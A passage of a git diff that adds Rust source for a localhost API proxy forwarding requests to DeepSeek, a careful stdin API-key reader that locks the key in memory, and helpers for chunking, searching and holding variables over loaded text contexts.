a/src/responses_api_proxy/mod.rs b/src/responses_api_proxy/mod.rs new file mode 100644 index 00000000..f9cc2528 --- /dev/null +++ b/src/responses_api_proxy/mod.rs @@ -0,0 +1,226 @@ +use std::fs::{self, File}; +use std::io::Write; +use std::net::{SocketAddr, TcpListener}; +use std::path::{Path, PathBuf}; +use std::sync::Arc; +use std::time::Duration; + +use anyhow::{Context, Result, anyhow}; +use clap::Parser; +use reqwest::Url; +use reqwest::blocking::Client; +use reqwest::header::{AUTHORIZATION, HOST, HeaderMap, HeaderName, HeaderValue}; +use serde::Serialize; +use tiny_http::{Header, Method, Request, Response, Server, StatusCode}; + +mod read_api_key; +use read_api_key::read_auth_header_from_stdin; + +/// CLI arguments for the proxy. +#[derive(Debug, Clone, Parser)] +#[command( + name = "responses-api-proxy", + about = "Minimal DeepSeek responses proxy" +)] +pub struct Args { + /// Port to listen on. If not set, an ephemeral port is used. + #[arg(long)] + pub port: Option, + + /// Path to a JSON file to write startup info (single line). Includes {"port": }. + #[arg(long, value_name = "FILE")] + pub server_info: Option, + + /// Enable HTTP shutdown endpoint at GET /shutdown + #[arg(long)] + pub http_shutdown: bool, + + /// Absolute URL the proxy should forward requests to. + #[arg(long, default_value = "https://api.deepseek.com/v1/responses")] + pub upstream_url: String, +} + +#[derive(Serialize)] +struct ServerInfo { + port: u16, + pid: u32, +} + +struct ForwardConfig { + upstream_url: Url, + host_header: HeaderValue, +} + +/// Entry point for the proxy server. +pub fn run_main(args: Args) -> Result<()> { + let auth_header = read_auth_header_from_stdin()?; + + let upstream_url = Url::parse(&args.upstream_url).context("parsing --upstream-url")?; + let host = match (upstream_url.host_str(), upstream_url.port()) { + (Some(host), Some(port)) => format!("{host}:{port}"), + (Some(host), None) => host.to_string(), + _ => return Err(anyhow!("upstream URL must include a host")), + }; + let host_header = + HeaderValue::from_str(&host).context("constructing Host header from upstream URL")?; + + let forward_config = Arc::new(ForwardConfig { + upstream_url, + host_header, + }); + + let (listener, bound_addr) = bind_listener(args.port)?; + if let Some(path) = args.server_info.as_ref() { + write_server_info(path, bound_addr.port())?; + } + let server = Server::from_listener(listener, None) + .map_err(|err| anyhow!("creating HTTP server: {err}"))?; + let client = Arc::new( + Client::builder() + // Disable reqwest's 30s default so long-lived response streams keep flowing. + .timeout(None::) + .build() + .context("building reqwest client")?, + ); + + eprintln!("responses-api-proxy listening on {bound_addr}"); + + let http_shutdown = args.http_shutdown; + for request in server.incoming_requests() { + let client = client.clone(); + let forward_config = forward_config.clone(); + std::thread::spawn(move || { + if http_shutdown && request.method() == &Method::Get && request.url() == "/shutdown" { + let _ = request.respond(Response::new_empty(StatusCode(200))); + std::process::exit(0); + } + + if let Err(e) = forward_request(&client, auth_header, &forward_config, request) { + eprintln!("forwarding error: {e}"); + } + }); + } + + Err(anyhow!("server stopped unexpectedly")) +} + +fn bind_listener(port: Option) -> Result<(TcpListener, SocketAddr)> { + let addr = SocketAddr::from(([127, 0, 0, 1], port.unwrap_or(0))); + let listener = TcpListener::bind(addr).with_context(|| format!("failed to bind {addr}"))?; + let bound = listener.local_addr().context("failed to read local_addr")?; + Ok((listener, bound)) +} + +fn write_server_info(path: &Path, port: u16) -> Result<()> { + if let Some(parent) = path.parent() + && !parent.as_os_str().is_empty() + { + fs::create_dir_all(parent)?; + } + + let info = ServerInfo { + port, + pid: std::process::id(), + }; + let mut data = serde_json::to_string(&info)?; + data.push('\n'); + let mut f = File::create(path)?; + f.write_all(data.as_bytes())?; + Ok(()) +} + +fn forward_request( + client: &Client, + auth_header: &'static str, + config: &ForwardConfig, + mut req: Request, +) -> Result<()> { + // Only allow POST /v1/responses exactly, no query string. + let method = req.method().clone(); + let url_path = req.url().to_string(); + let allow = method == Method::Post && url_path == "/v1/responses"; + + if !allow { + let resp = Response::new_empty(StatusCode(403)); + let _ = req.respond(resp); + return Ok(()); + } + + // Read request body + let mut body = Vec::new(); + let mut reader = req.as_reader(); + std::io::Read::read_to_end(&mut reader, &mut body)?; + + // Build headers for upstream, forwarding everything from the incoming + // request except Authorization (we replace it below). + let mut headers = HeaderMap::new(); + for header in req.headers() { + let name_ascii = header.field.as_str(); + let lower = name_ascii.to_ascii_lowercase(); + if lower.as_str() == "authorization" || lower.as_str() == "host" { + continue; + } + + let header_name = match HeaderName::from_bytes(lower.as_bytes()) { + Ok(name) => name, + Err(_) => continue, + }; + if let Ok(value) = HeaderValue::from_bytes(header.value.as_bytes()) { + headers.append(header_name, value); + } + } + + // As part of our effort to keep `auth_header` secret, we use a + // combination of `from_static()` and `set_sensitive(true)`. + let mut auth_header_value = HeaderValue::from_static(auth_header); + auth_header_value.set_sensitive(true); + headers.insert(AUTHORIZATION, auth_header_value); + + headers.insert(HOST, config.host_header.clone()); + + let upstream_resp = client + .post(config.upstream_url.clone()) + .headers(headers) + .body(body) + .send() + .context("forwarding request to upstream")?; + + // We have to create an adapter between a `reqwest::blocking::Response` + // and a `tiny_http::Response`. Fortunately, `reqwest::blocking::Response` + // implements `Read`, so we can use it directly as the body of the + // `tiny_http::Response`. + let status = upstream_resp.status(); + let mut response_headers = Vec::new(); + for (name, value) in upstream_resp.headers().iter() { + // Skip headers that tiny_http manages itself. + if matches!( + name.as_str(), + "content-length" | "transfer-encoding" | "connection" | "trailer" | "upgrade" + ) { + continue; + } + + if let Ok(header) = Header::from_bytes(name.as_str().as_bytes(), value.as_bytes()) { + response_headers.push(header); + } + } + + let content_length = upstream_resp.content_length().and_then(|len| { + if len <= usize::MAX as u64 { + Some(len as usize) + } else { + None + } + }); + + let response = Response::new( + StatusCode(status.as_u16()), + response_headers, + upstream_resp, + content_length, + None, + ); + + let _ = req.respond(response); + Ok(()) +} diff --git a/src/responses_api_proxy/read_api_key.rs b/src/responses_api_proxy/read_api_key.rs new file mode 100644 index 00000000..6117c9af --- /dev/null +++ b/src/responses_api_proxy/read_api_key.rs @@ -0,0 +1,217 @@ +use anyhow::{Context, Result, anyhow}; +use zeroize::Zeroize; + +/// Use a generous buffer size to avoid truncation and to allow for longer API +/// keys in the future. +const BUFFER_SIZE: usize = 1024; +const AUTH_HEADER_PREFIX: &[u8] = b"Bearer "; + +/// Reads the auth token from stdin and returns a static `Authorization` header +/// value with the auth token used with `Bearer`. The header value is returned +/// as a `&'static str` whose bytes are locked in memory to avoid accidental +/// exposure. +#[cfg(unix)] +pub(crate) fn read_auth_header_from_stdin() -> Result<&'static str> { + read_auth_header_with(read_from_unix_stdin) +} + +#[cfg(windows)] +pub(crate) fn read_auth_header_from_stdin() -> Result<&'static str> { + use std::io::Read; + + // Use of `stdio::io::stdin()` has the problem mentioned in the docstring on + // the UNIX version of `read_from_unix_stdin()`, so this should ultimately + // be replaced the low-level Windows equivalent. Because we do not have an + // equivalent of mlock() on Windows right now, it is not pressing until we + // address that issue. + read_auth_header_with(|buffer| std::io::stdin().read(buffer)) +} + +/// We perform a low-level read with `read(2)` because `stdio::io::stdin()` has +/// an internal BufReader: +/// +/// https://github.com/rust-lang/rust/blob/bcbbdcb8522fd3cb4a8dde62313b251ab107694d/library/std/src/io/stdio.rs#L250-L252 +/// +/// that can end up retaining a copy of stdin data in memory with no way to zero +/// it out, whereas we aim to guarantee there is exactly one copy of the API key +/// in memory, protected by mlock(2). +#[cfg(unix)] +fn read_from_unix_stdin(buffer: &mut [u8]) -> std::io::Result { + use libc::c_void; + use libc::read; + + // Perform a single read(2) call into the provided buffer slice. + // Looping and newline/EOF handling are managed by the caller. + loop { + let result = unsafe { + read( + libc::STDIN_FILENO, + buffer.as_mut_ptr().cast::(), + buffer.len(), + ) + }; + + if result == 0 { + return Ok(0); + } + + if result < 0 { + let err = std::io::Error::last_os_error(); + if err.kind() == std::io::ErrorKind::Interrupted { + continue; + } + return Err(err); + } + + return Ok(result as usize); + } +} + +fn read_auth_header_with(mut read_fn: F) -> Result<&'static str> +where + F: FnMut(&mut [u8]) -> std::io::Result, +{ + // TAKE CARE WHEN MODIFYING THIS CODE!!! + // + // This function goes to great lengths to avoid leaving the API key in + // memory longer than necessary and to avoid copying it around. We read + // directly into a stack buffer so the only heap allocation should be the + // one to create the String (with the exact size) for the header value, + // which we then immediately protect with mlock(2). + let mut buf = [0u8; BUFFER_SIZE]; + buf[..AUTH_HEADER_PREFIX.len()].copy_from_slice(AUTH_HEADER_PREFIX); + + let prefix_len = AUTH_HEADER_PREFIX.len(); + let capacity = buf.len() - prefix_len; + let mut total_read = 0usize; // number of bytes read into the token region + let mut saw_newline = false; + let mut saw_eof = false; + + while total_read < capacity { + let slice = &mut buf[prefix_len + total_read..]; + let read = match read_fn(slice) { + Ok(n) => n, + Err(err) => { + buf.zeroize(); + return Err(err.into()); + } + }; + + if read == 0 { + saw_eof = true; + break; + } + + // Search only the newly written region for a newline. + let newly_written = &slice[..read]; + if let Some(pos) = newly_written.iter().position(|&b| b == b'\n') { + total_read += pos + 1; // include the newline for trimming below + saw_newline = true; + break; + } + + total_read += read; + + // Continue loop; if buffer fills without newline/EOF we'll error below. + } + + // If buffer filled and we did not see newline or EOF, error out. + if total_read == capacity && !saw_newline && !saw_eof { + buf.zeroize(); + return Err(anyhow!( + "API key is too large to fit in the {BUFFER_SIZE}-byte buffer" + )); + } + + let mut total = prefix_len + total_read; + while total > prefix_len && (buf[total - 1] == b'\n' || buf[total - 1] == b'\r') { + total -= 1; + } + + if total == AUTH_HEADER_PREFIX.len() { + buf.zeroize(); + return Err(anyhow!( + "API key must be provided via stdin (e.g. printenv DEEPSEEK_API_KEY | deepseek responses-api-proxy)" + )); + } + + if let Err(err) = validate_auth_header_bytes(&buf[AUTH_HEADER_PREFIX.len()..total]) { + buf.zeroize(); + return Err(err); + } + + let header_str = match std::str::from_utf8(&buf[..total]) { + Ok(value) => value, + Err(err) => { + // In theory, validate_auth_header_bytes() should have caught + // any invalid UTF-8 sequences, but just in case... + buf.zeroize(); + return Err(err).context("reading Authorization header from stdin as UTF-8"); + } + }; + + let header_value = String::from(header_str); + buf.zeroize(); + + let leaked: &'static mut str = header_value.leak(); + mlock_str(leaked); + + Ok(leaked) +} + +#[cfg(unix)] +fn mlock_str(value: &str) { + use libc::_SC_PAGESIZE; + use libc::c_void; + use libc::mlock; + use libc::sysconf; + + if value.is_empty() { + return; + } + + let page_size = unsafe { sysconf(_SC_PAGESIZE) }; + if page_size <= 0 { + return; + } + let page_size = page_size as usize; + if page_size == 0 { + return; + } + + let addr = value.as_ptr() as usize; + let len = value.len(); + let start = addr & !(page_size - 1); + let addr_end = match addr.checked_add(len) { + Some(v) => match v.checked_add(page_size - 1) { + Some(total) => total, + None => return, + }, + None => return, + }; + let end = addr_end & !(page_size - 1); + let size = end.saturating_sub(start); + if size == 0 { + return; + } + + let _ = unsafe { mlock(start as *const c_void, size) }; +} + +#[cfg(not(unix))] +fn mlock_str(_value: &str) {} + +/// The key should match /^[A-Za-z0-9\-_]+$/. Ensure there is no funny business +/// with NUL characters and whatnot. +fn validate_auth_header_bytes(key_bytes: &[u8]) -> Result<()> { + if key_bytes + .iter() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_')) + { + return Ok(()); + } + + Err(anyhow!( + "API key may only contain ASCII letters, numbers, '-' or '_'" + )) +} diff --git a/src/rlm.rs b/src/rlm.rs new file mode 100644 index 00000000..9768d6f3 --- /dev/null +++ b/src/rlm.rs @@ -0,0 +1,1303 @@ +//! Recursive Language Model (RLM) helpers and REPL workflows. + +use std::collections::HashMap; +use std::fs; +use std::path::{Path, PathBuf}; +use std::sync::{Arc, Mutex}; + +use anyhow::{Context, Result}; +use colored::{ColoredString, Colorize}; +use regex::Regex; +use rustyline::Editor; +use rustyline::error::ReadlineError; +use rustyline::history::DefaultHistory; +use serde::{Deserialize, Serialize}; + +use crate::config::Config; +use crate::models::Usage; +use crate::palette; + +// === Command Args === + +/// Arguments for loading a context into memory. +#[allow(dead_code)] +pub struct RlmLoadArgs { + pub path: PathBuf, + pub context_id: String, +} + +/// Arguments for searching within a loaded context. +#[allow(dead_code)] +pub struct RlmSearchArgs { + pub context_id: String, + pub pattern: String, + pub context_lines: usize, + pub max_results: usize, +} + +/// Arguments for executing code in the RLM sandbox. +#[allow(dead_code)] +pub struct RlmExecArgs { + pub context_id: String, + pub code: String, +} + +/// Arguments for retrieving RLM status. +#[allow(dead_code)] +pub struct RlmStatusArgs { + pub context_id: Option, +} + +/// Arguments for saving an RLM session to disk. +#[allow(dead_code)] +pub struct RlmSaveSessionArgs { + pub path: PathBuf, + pub context_id: String, +} + +/// Arguments for loading a saved session from disk. +#[allow(dead_code)] +pub struct RlmLoadSessionArgs { + pub path: PathBuf, +} + +/// Arguments for entering the RLM REPL. +#[allow(dead_code)] +pub struct RlmReplArgs { + pub context_id: String, + pub load: Option, +} + +/// High-level RLM CLI commands. +#[allow(dead_code)] +pub enum RlmCommand { + Load(RlmLoadArgs), + Search(RlmSearchArgs), + Exec(RlmExecArgs), + Status(RlmStatusArgs), + SaveSession(RlmSaveSessionArgs), + LoadSession(RlmLoadSessionArgs), + Repl(RlmReplArgs), +} + +// === System Resources === + +/// System resource snapshot used to size RLM contexts. +#[derive(Debug, Clone)] +pub struct SystemResources { + pub available_memory_mb: Option, + pub recommended_max_context: usize, +} + +impl SystemResources { + /// Detect available resources and compute a recommended max context size. + #[must_use] + pub fn detect() -> Self { + let available_memory_mb = Self::get_available_memory_mb(); + + // Recommend context size based on available memory + // Rule of thumb: use ~10% of available RAM for context + let recommended_max_context = match available_memory_mb { + Some(mem) if mem >= 32000 => 100_000_000, // 100MB for 32GB+ RAM + Some(mem) if mem >= 16000 => 50_000_000, // 50MB for 16GB+ RAM + Some(mem) if mem >= 8000 => 25_000_000, // 25MB for 8GB+ RAM + Some(mem) if mem >= 4000 => 10_000_000, // 10MB for 4GB+ RAM + _ => 5_000_000, // 5MB default + }; + + Self { + available_memory_mb, + recommended_max_context, + } + } + + #[cfg(target_os = "macos")] + fn get_available_memory_mb() -> Option { + use std::process::Command; + + // Try to get memory from sysctl on macOS + Command::new("sysctl") + .args(["-n", "hw.memsize"]) + .output() + .ok() + .and_then(|output| { + String::from_utf8_lossy(&output.stdout) + .trim() + .parse::() + .ok() + .map(|bytes| bytes / (1024 * 1024)) + }) + } + + #[cfg(target_os = "linux")] + fn get_available_memory_mb() -> Option { + use std::fs; + + // Read from /proc/meminfo on Linux + fs::read_to_string("/proc/meminfo") + .ok() + .and_then(|content| { + content + .lines() + .find(|line| line.starts_with("MemTotal:")) + .and_then(|line| { + line.split_whitespace() + .nth(1) + .and_then(|s| s.parse::().ok()) + .map(|kb| kb / 1024) + }) + }) + } + + #[cfg(not(any(target_os = "macos", target_os = "linux")))] + fn get_available_memory_mb() -> Option { + None + } + + /// Print a human-readable resource summary. + pub fn print_info(&self) { + println!("{}", ds_blue("System Resources").bold()); + if let Some(mem) = self.available_memory_mb { + let mem_f64 = f64::from(u32::try_from(mem).unwrap_or(u32::MAX)); + println!(" Available RAM: {} MB ({:.1} GB)", mem, mem_f64 / 1024.0); + } else { + println!(" Available RAM: Unknown"); + } + let max_context_f64 = + f64::from(u32::try_from(self.recommended_max_context).unwrap_or(u32::MAX)); + println!( + " Recommended max context: {} chars ({:.1} MB)", + self.recommended_max_context, + max_context_f64 / (1024.0 * 1024.0) + ); + } +} + +// === Context Storage === + +/// In-memory context buffer used by the RLM REPL. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct RlmContext { + pub id: String, + pub content: String, + pub source_path: Option, + pub line_count: usize, + pub char_count: usize, + pub variables: HashMap, +} + +impl RlmContext { + /// Create a new context with derived line/char counts. + #[must_use] + pub fn new(id: &str, content: String, source_path: Option) -> Self { + let line_count = content.lines().count(); + let char_count = content.len(); + Self { + id: id.to_string(), + content, + source_path, + line_count, + char_count, + variables: HashMap::new(), + } + } + + /// Peek into the context by character range. + #[must_use] + pub fn peek(&self, start: usize, end: Option) -> &str { + let end = end.unwrap_or(self.content.len()).min(self.content.len()); + &self.content[start.min(self.content.len())..end] + } + + /// Return line slices with 1-based line numbers. + #[must_use] + pub fn lines(&self, start: usize, end: Option) -> Vec<(usize, &str)> { + let lines: Vec<&str> = self.content.lines().collect(); + let end = end.unwrap_or(lines.len()).min(lines.len()); + lines[start.min(lines.len())..end] + .iter() + .enumerate() + .map(|(i, line)| (start + i + 1, *line)) + .collect() + } + + /// Search for regex matches with optional context lines. + pub fn search( + &self, + pattern: &str, + context_lines: usize, + max_results: usize, + ) -> Result> { + let regex = Regex::new(pattern).context("Invalid regex pattern")?; + let lines: Vec<&str> = self.content.lines().collect(); + let mut results = Vec::new(); + + for (i, line) in lines.iter().enumerate() { + if regex.is_match(line) { + let start = i.saturating_sub(context_lines); + let end = (i + context_lines + 1).min(lines.len()); + let context: Vec = lines[start..end] + .iter() + .enumerate() + .map(|(j, l)| { + let line_num = start + j + 1; + if start + j == i { + format!("{line_num:>5} > {l}") + } else { + format!("{line_num:>5} {l}") + } + }) + .collect(); + + results.push(SearchResult { + line_num: i + 1, + match_line: (*line).to_string(), + context, + }); + + if results.len() >= max_results { + break; + } + } + } + + Ok(results) + } + + /// Chunk the context into fixed-size segments with overlap. + #[must_use] + pub fn chunk(&self, chunk_size: usize, overlap: usize) -> Vec { + let mut chunks = Vec::new(); + let mut start = 0; + let mut chunk_index = 0; + + while start < self.content.len() { + let end = (start + chunk_size).min(self.content.len()); + let preview_end = (start + 100).min(end); + let preview = self.content[start..preview_end].to_string(); + + chunks.push(ChunkInfo { + index: chunk_index, + start_char: start, + end_char: end, + preview: preview.replace('\n', " "), + }); + + start = if end == self.content.len() { + end + } else { + (end - overlap).max(start + 1) + }; + chunk_index += 1; + } + + chunks + } + + /// Chunk the context by paragraph/heading boundaries up to a max char size. + #[must_use] + pub fn chunk_sections(&self, max_chars: usize) -> Vec { + let max_chars = max_chars.max(1); + let mut sections = Vec::new(); + let mut start = 0; + let mut offset = 0; + + for segment in self.content.split_inclusive('\n') { + let line = segment.trim_end_matches('\n'); + let trimmed = line.trim(); + let is_heading = trimmed.starts_with('#'); + let is_blank = trimmed.is_empty(); + + if is_heading && offset > start { + sections.push((start, offset)); + start = offset; + } + + offset += segment.len(); + + if is_blank && offset > start { + sections.push((start, offset)); + start = offset; + } + } + + if offset > start { + sections.push((start, offset)); + } + + let mut chunks = Vec::new(); + let mut chunk_start = 0; + let mut chunk_end = 0; + let mut chunk_index = 0; + + for (section_start, section_end) in sections { + if chunk_end == 0 { + chunk_start = section_start; + } + if section_end - chunk_start > max_chars && chunk_end > chunk_start { + chunks.push(build_chunk_info( + &self.content, + chunk_index, + chunk_start, + chunk_end, + )); + chunk_index += 1; + chunk_start = section_start; + } + chunk_end = section_end; + } + + if chunk_end > chunk_start { + chunks.push(build_chunk_info( + &self.content, + chunk_index, + chunk_start, + chunk_end, + )); + } + + chunks + } + + /// Chunk the context by line count. + #[must_use] + pub fn chunk_lines(&self, max_lines: usize) -> Vec { + let max_lines = max_lines.max(1); + let mut chunks = Vec::new(); + let mut chunk_start = 0; + let mut offset = 0; + let mut line_count = 0; + let mut chunk_index = 0; + + for segment in self.content.split_inclusive('\n') { + line_count += 1; + offset += segment.len(); + + if line_count >= max_lines { + chunks.push(build_chunk_info( + &self.content, + chunk_index, + chunk_start, + offset, + )); + chunk_index += 1; + chunk_start = offset; + line_count = 0; + } + } + + if chunk_start < self.content.len() { + chunks.push(build_chunk_info( + &self.content, + chunk_index, + chunk_start, + self.content.len(), + )); + } + + chunks + } + + /// Chunk the context using headings, paragraphs, and code fences. + #[must_use] + pub fn chunk_auto(&self, max_chars: usize) -> Vec { + let max_chars = max_chars.max(1); + let mut segments = Vec::new(); + let mut start = 0; + let mut offset = 0; + let mut in_code_block = false; + + for segment in self.content.split_inclusive('\n') { + let line = segment.trim_end_matches('\n'); + let trimmed = line.trim(); + let is_fence = trimmed.starts_with("```") || trimmed.starts_with("~~~"); + let is_heading = trimmed.starts_with('#'); + let is_blank = trimmed.is_empty(); + + if is_fence { + if !in_code_block { + if offset > start { + segments.push((start, offset)); + } + start = offset; + in_code_block = true; + } else { + in_code_block = false; + } + } else if !in_code_block { + if is_heading && offset > start { + segments.push((start, offset)); + start = offset; + } + + if is_blank && offset > start { + segments.push((start, offset)); + start = offset; + } + } + + offset += segment.len(); + + if is_fence && !in_code_block && offset > start { + segments.push((start, offset)); + start = offset; + } + } + + if offset > start { + segments.push((start, offset)); + } + + let mut normalized = Vec::new(); + for (seg_start, seg_end) in segments { + let mut cursor = seg_start; + while cursor < seg_end { + let end = (cursor + max_chars).min(seg_end); + normalized.push((cursor, end)); + cursor = end; + } + } + + let mut chunks = Vec::new(); + let mut chunk_start = 0; + let mut chunk_end = 0; + let mut chunk_index = 0; + + for (seg_start, seg_end) in normalized { + if chunk_end == 0 { + chunk_start = seg_start; + } + if seg_end - chunk_start > max_chars && chunk_end > chunk_start { + chunks.push(build_chunk_info( + &self.content, + chunk_index, + chunk_start, + chunk_end, + )); + chunk_index += 1; + chunk_start = seg_start; + } + chunk_end = seg_end; + } + + if chunk_end > chunk_start { + chunks.push(build_chunk_info( + &self.content, + chunk_index, + chunk_start, + chunk_end, + )); + } + + chunks + } + + #[must_use] + pub fn get_var(&self, name: &str) -> Option<&str> { + self.variables.get(name).map(String::as_str) + } + + pub fn set_var(&mut self, name: &str, value: String) { + self.variables.insert(name.to_string(), value); + } + + pub fn append_var(&mut self, name: &str, value: String) { + self.variables + .entry(name.to_string()) + .and_modify(|existing| { + if !existing.is_empty() { + existing.push('\n'); + } + existing.push_str(&value); + }) + .or_insert(value); + } + + pub fn remove_var(&mut self, name: &str) -> Option { + self.variables.remove(name) + } +} + +/// Search match result with surrounding context lines. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SearchResult { + pub line_num: usize, + pub match_line: String, + pub context: Vec, +} + +/// Chunk metadata for context navigation. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ChunkInfo { + pub index: usize, + pub start_char: usize, + pub end_char: usize, + pub preview: String, +} + +fn build_chunk_info(content: &str, index: usize, start: usize, end: usize) -> ChunkInfo { + let safe_start = start.min(content.len()); + let safe_end = end.min(content.len()); + let preview_end = (safe_start + 100).min(safe_end); + let preview = content[safe_start..preview_end].replace('\n', " "); + + ChunkInfo { + index, + start_char: safe_start, + end_char: safe_end, + preview, + } +} + +/// Usage stats for RLM sub-queries. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct RlmUsage { + pub queries: u32, + pub input_tokens: u64, + pub output_tokens: u64, + pub total_chars_sent: u64, + pub total_chars_received: u64, +} + +impl RlmUsage { + pub fn record(&mut self, usage: &Usage, chars_sent: usize, chars_received: usize) { + self.queries = self.queries.saturating_add(1); + self.input_tokens = self + .input_tokens + .saturating_add(u64::from(usage.input_tokens)); + self.output_tokens = self + .output_tokens + .saturating_add(u64::from(usage.output_tokens)); + self.total_chars_sent = self + .total_chars_sent + .saturating_add(u64::try_from(chars_sent).unwrap_or(u64::MAX)); + self.total_chars_received = self + .total_chars_received + .saturating_add(u64::try_from(chars_received).unwrap_or(u64::MAX)); + } +} + +/// Stored RLM session state for persistence. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct RlmSession { + pub contexts: HashMap, + pub active_context: String, + #[serde(default)] + pub usage: RlmUsage, +} + +impl Default for RlmSession { + fn default() -> Self { + Self { + contexts: HashMap::new(), + active_context: "default".to_string(), + usage: RlmUsage::default(), + } + } +} + +pub type SharedRlmSession = Arc>; + +impl RlmSession { + pub fn load_context(&mut self, id: &str, content: String, source_path: Option) { + let ctx = RlmContext::new(id, content, source_path); + self.contexts.insert(id.to_string(), ctx); + self.active_context = id.to_string(); + } + + /// Load a file into a new context, returning line/char counts. + pub(crate) fn load_file(&mut self, id: &str, path: &Path) -> Result<(usize, usize)> { + let content = fs::read_to_string(path) + .with_context(|| format!("Failed to read file: {}", path.display()))?; + let source = path.to_string_lossy().to_string(); + self.load_context(id, content, Some(source)); + + let ctx = self + .contexts + .get(id) + .context("Loaded context missing from session")?; + Ok((ctx.line_count, ctx.char_count)) + } + + pub fn get_context(&self, id: &str) -> Option<&RlmContext> { + self.contexts.get(id) + } + + #[allow(dead_code)] + pub fn get_context_mut(&mut self, id: &str) -> Option<&mut RlmContext> { + self.contexts.get_mut(id) + } + + pub fn record_query_usage(&mut self, usage: &Usage, chars_sent: usize, chars_received: usize) { + self.usage.record(usage, chars_sent, chars_received); + } +} + +pub fn context_id_from_path(path: &Path) -> String { + path.file_name() + .and_then(|s| s.to_str()) + .filter(|s| !s.is_empty()) + .unwrap_or("context") + .to_string() +} + +pub fn unique_context_id(session: &RlmSession, base: &str) -> String { + if !session.contexts.contains_key(base) { + return base.to_string(); + } + + for idx in 2..=99 { + let candidate = format!("{base}-{idx}"); + if !session.contexts.contains_key(&candidate) { + return candidate; + } + } + + format!("{base}-{}", session.contexts.len() + 1) +} + +pub fn session_summary(session: &RlmSession) -> String { + if session.contexts.is_empty() { + return "No RLM contexts loaded.".to_string(); + } + + let mut lines = Vec::new(); + lines.push(format!("Active context: {}", session.active_context)); + lines.push(format!("Loaded contexts: {}", session.contexts.len())); + lines.push(format!( + "Queries: {} | Input tokens: {} | Output tokens: {}", + session.usage.queries, session.usage.input_tokens, session.usage.output_tokens + )); + + let mut ids: Vec<_> = session.contexts.keys().collect(); + ids.sort(); + for id in ids { + if let Some(ctx) = session.contexts.get(id) { + let source = ctx + .source_path + .as_ref() + .map(|s| format!(" (source: {s})")) + .unwrap_or_default(); + lines.push(format!( + "- {id}: {} lines, {} chars, {} vars{source}", + ctx.line_count, + ctx.char_count, + ctx.variables.len() + )); + } + } + + lines.join("\n") +} + +#[allow(dead_code)] +pub fn handle_command(command: RlmCommand, _config: &Config) -> Result<()> { + let mut session = RlmSession::default(); + + match command { + RlmCommand::Load(args) => { + let content = fs::read_to_string(&args.path) + .with_context(|| format!("Failed to read file: {}", args.path.display()))?; + let source = args.path.to_string_lossy().to_string(); + session.load_context(&args.context_id, content, Some(source)); + + let ctx = session + .get_context(&args.context_id) + .expect("context should exist after load_context"); + println!("{}", ds_aqua("Context loaded successfully!")); + println!(" ID: {}", ds_blue(&ctx.id)); + println!(" Source: {}", ctx.source_path.as_deref().unwrap_or("N/A")); + println!(" Lines: {}", ctx.line_count); + println!(" Characters: {}", ctx.char_count); + } + RlmCommand::Search(args) => { + let content = load_context_from_stdin_or_error(&args.context_id)?; + let ctx = RlmContext::new(&args.context_id, content, None); + + let results = ctx.search(&args.pattern, args.context_lines, args.max_results)?; + + if results.is_empty() { + println!("{}", ds_sky("No matches found.")); + } else { + println!("{} matches found:\n", ds_aqua(&results.len().to_string())); + for result in results { + println!("{}", "─".repeat(60).dimmed()); + for line in &result.context { + println!("{line}"); + } + } + println!("{}", "─".repeat(60).dimmed()); + } + } + RlmCommand::Exec(args) => { + let content = load_context_from_stdin_or_error(&args.context_id)?; + let ctx = RlmContext::new(&args.context_id, content, None); + + let result = eval_expr(&ctx, &args.code)?; + println!("{result}"); + } + RlmCommand::Status(args) => { + if let Some(id) = args.context_id { + println!("Context '{id}' status: (no persistent session)"); + } else { + println!("{}", ds_blue("RLM Session Status").bold()); + println!("Note: For persistent sessions, use 'rlm repl' or save/load session."); + } + } + RlmCommand::SaveSession(args) => { + let json = serde_json::to_string_pretty(&session)?; + fs::write(&args.path, json)?; + println!("Session saved to {}", args.path.display()); + } + RlmCommand::LoadSession(args) => { + let content = fs::read_to_string(&args.path)?; + session = serde_json::from_str(&content)?; + println!("Session loaded from {}", args.path.display()); + println!( + "Contexts: {:?}", + session.contexts.keys().collect::>() + ); + } + RlmCommand::Repl(args) => { + run_repl(&args.context_id, args.load.as_deref())?; + } + } + + Ok(()) +} + +fn load_context_from_stdin_or_error(context_id: &str) -> Result { + // For now, return an error - real implementation would track sessions + anyhow::bail!( + "Failed to load context '{context_id}': no context loaded. Use 'rlm load' or 'rlm repl'." + ) +} + +pub fn eval_in_session(session: &mut RlmSession, code: &str) -> Result { + let active = session.active_context.clone(); + let ctx = session + .get_context_mut(&active) + .context("No context loaded. Use /load first.")?; + eval_expr_mut(ctx, code) +} + +pub fn eval_expr(ctx: &RlmContext, code: &str) -> Result { + eval_expr_internal(ctx, code) +} + +pub fn eval_expr_mut(ctx: &mut RlmContext, code: &str) -> Result { + let code = code.trim(); + + if code == "vars" || code == "vars()" { + if ctx.variables.is_empty() { + return Ok("No variables set.".to_string()); + } + let mut names: Vec<_> = ctx.variables.keys().collect(); + names.sort(); + let mut lines = Vec::new(); + for name in names { + if let Some(value) = ctx.variables.get(name) { + let preview = value.chars().take(80).collect::(); + lines.push(format!("{name}: {} chars | {preview}", value.len())); + } + } + return Ok(lines.join("\n")); + } + + if code.starts_with("get(") && code.ends_with(')') { + let arg = &code[4..code.len() - 1]; + let name = parse_string_arg(arg); + return ctx + .get_var(&name) + .map(|v| v.to_string()) + .ok_or_else(|| anyhow::anyhow!("Unknown variable '{name}'")); + } + + if code.starts_with("set(") && code.ends_with(')') { + let args = &code[4..code.len() - 1]; + let (name, value) = parse_two_args(args)?; + ctx.set_var(&name, value); + return Ok(format!("Set variable '{name}'.")); + } + + if code.starts_with("append(") && code.ends_with(')') { + let args = &code[7..code.len() - 1]; + let (name, value) = parse_two_args(args)?; + ctx.append_var(&name, value); + return Ok(format!("Appended to variable '{name}'.")); + } + + if code.starts_with("del(") && code.ends_with(')') { + let arg = &code[4..code.len() - 1]; + let name = parse_string_arg(arg); + if ctx.remove_var(&name).is_some() { + return Ok(format!("Deleted variable '{name}'.")); + } + return Ok(format!("Variable '{name}' not found.")); + } + + if code == "clear_vars" || code == "clear_vars()" { + ctx.variables.clear(); + return Ok("Cleared all variables.".to_string()); + } + + 